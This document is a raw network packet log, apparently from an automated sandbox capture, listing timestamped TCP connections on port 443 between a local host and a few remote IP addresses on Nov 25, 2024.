Nov 25, 2024 18:29:58.819397926 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.819407940 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.819412947 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.821955919 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.821985960 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.822067976 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.822206020 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.822218895 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.857002974 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.857522964 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.857547998 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.857975960 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.857984066 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.241080046 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.241692066 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.241719961 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.242147923 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.242156982 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.246299028 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.246567965 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.246592999 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.246876955 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.246881962 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.327008963 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:59.327028990 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:59.444073915 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.447326899 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.447410107 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.447452068 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.447468042 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.447659969 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.447665930 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.450325966 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.450364113 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.450443983 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.450565100 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.450579882 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.691190958 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.696176052 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.696242094 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.696422100 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.696422100 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.696439981 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.696448088 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.698945999 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.698996067 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.699080944 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.699264050 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.699280024 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.702917099 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.706176996 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.706235886 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.706239939 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.706289053 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.706331968 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.706352949 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.706367970 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.706373930 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.708364010 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.708384991 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:59.708458900 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.708601952 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:59.708612919 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.068248034 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.068820000 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.068840027 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.069283009 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.069288969 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.527529955 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.530481100 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.530533075 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.530538082 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.530600071 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.531841040 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.531861067 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.531872034 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.531877995 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.536804914 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.536868095 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.536938906 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.537882090 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.537909985 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.712932110 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.713624001 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.713650942 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:00.713982105 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:00.713987112 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.151735067 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.154602051 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.154851913 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.154851913 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.154851913 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.157439947 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.157490015 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.157588959 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.157766104 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.157780886 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.455584049 CET	50047	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.455657005 CET	443	50047	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.528368950 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.536149979 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.536184072 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.536957026 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.536978960 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.572700977 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.573282957 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.573307991 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.576523066 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:01.576529026 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.982211113 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.985459089 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:01.985560894 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.000574112 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.000574112 CET	50049	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.000618935 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.000637054 CET	443	50049	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.004928112 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.004992962 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.005067110 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.005227089 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.005249023 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.091371059 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.091403961 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.091451883 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.091465950 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.091511965 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.091773987 CET	50050	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.091787100 CET	443	50050	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.097789049 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.097825050 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.097886086 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.098716021 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.098730087 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.409427881 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.410041094 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.410079956 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.410487890 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.410500050 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.868603945 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.871829033 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.871928930 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.872010946 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.872056007 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.872153997 CET	50051	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.872178078 CET	443	50051	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.874921083 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.874979973 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.875070095 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.875246048 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.875263929 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.887936115 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.888465881 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.888503075 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:02.888938904 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:02.888947010 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.325190067 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.329032898 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.329101086 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.329210997 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.329230070 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.329238892 CET	50052	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.329245090 CET	443	50052	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.331768990 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.331801891 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.331866026 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.332004070 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.332024097 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.732698917 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.733282089 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.733309984 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.733856916 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.733863115 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.853789091 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.854331970 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.854358912 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:03.854693890 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:03.854700089 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.217688084 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.217756033 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.217823029 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.218035936 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.218056917 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.218067884 CET	50053	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.218074083 CET	443	50053	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.220549107 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.220609903 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.220690012 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.220818996 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.220840931 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.244281054 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.244652033 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.244714022 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.245084047 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.245090008 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.303083897 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.303204060 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.303277016 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.364980936 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.365009069 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.365021944 CET	50054	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.365027905 CET	443	50054	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.367625952 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.367641926 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.367710114 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.367834091 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.367846012 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.657320976 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.658202887 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.658217907 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.658756018 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.658761024 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.701201916 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.704482079 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.704551935 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.706160069 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.706183910 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.706197977 CET	50048	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.706202984 CET	443	50048	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.709170103 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.709214926 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:04.709275007 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.709527016 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:04.709544897 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.132286072 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.134973049 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.135051012 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.135113001 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.135130882 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.135142088 CET	50055	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.135149002 CET	443	50055	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.137727022 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.137780905 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.137871027 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.138025045 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.138040066 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.173618078 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.174082041 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.174107075 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.174546003 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.174551010 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.684743881 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.684814930 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.684878111 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.685168982 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.685189962 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.685200930 CET	50056	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.685206890 CET	443	50056	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.688179970 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.688224077 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:05.688313961 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.688488007 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:05.688505888 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.020570040 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.021152020 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.021168947 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.021644115 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.021650076 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.296186924 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.296792984 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.296807051 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.297256947 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.297261953 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.466106892 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.470093012 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.470180035 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.470227003 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.470227957 CET	50057	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.470248938 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.470258951 CET	443	50057	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.473104000 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.473136902 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.473217010 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.473402023 CET	50062	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.473412991 CET	443	50062	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.505004883 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.505419016 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.505436897 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.505857944 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.505865097 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.743927002 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.748362064 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.748419046 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.748436928 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.748480082 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.748569965 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.748580933 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.748593092 CET	50058	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.748596907 CET	443	50058	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.751147985 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.751166105 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.751245975 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.751379967 CET	50063	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.751394987 CET	443	50063	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.903790951 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.904335976 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.904370070 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.905073881 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.905086994 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.953439951 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.953509092 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.953583956 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.953777075 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.953799963 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.953813076 CET	50059	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.953819990 CET	443	50059	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.956598043 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.956620932 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:06.956691027 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.956844091 CET	50064	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:06.956856966 CET	443	50064	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.341907024 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.341964960 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.342029095 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.342031956 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.342103004 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.342305899 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.342330933 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.342345953 CET	50060	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.342353106 CET	443	50060	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.344937086 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.344954014 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.345024109 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.345160961 CET	50065	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.345172882 CET	443	50065	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.502425909 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.503175974 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.503199100 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.503567934 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.503572941 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.952995062 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.956032991 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.956152916 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.956152916 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.956177950 CET	50061	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.956187963 CET	443	50061	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.959166050 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.959196091 CET	443	50066	13.107.246.63	192.168.2.6
Nov 25, 2024 18:30:07.959285975 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.959410906 CET	50066	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:30:07.959434986 CET	443	50066	13.107.246.63	192.168.2.6
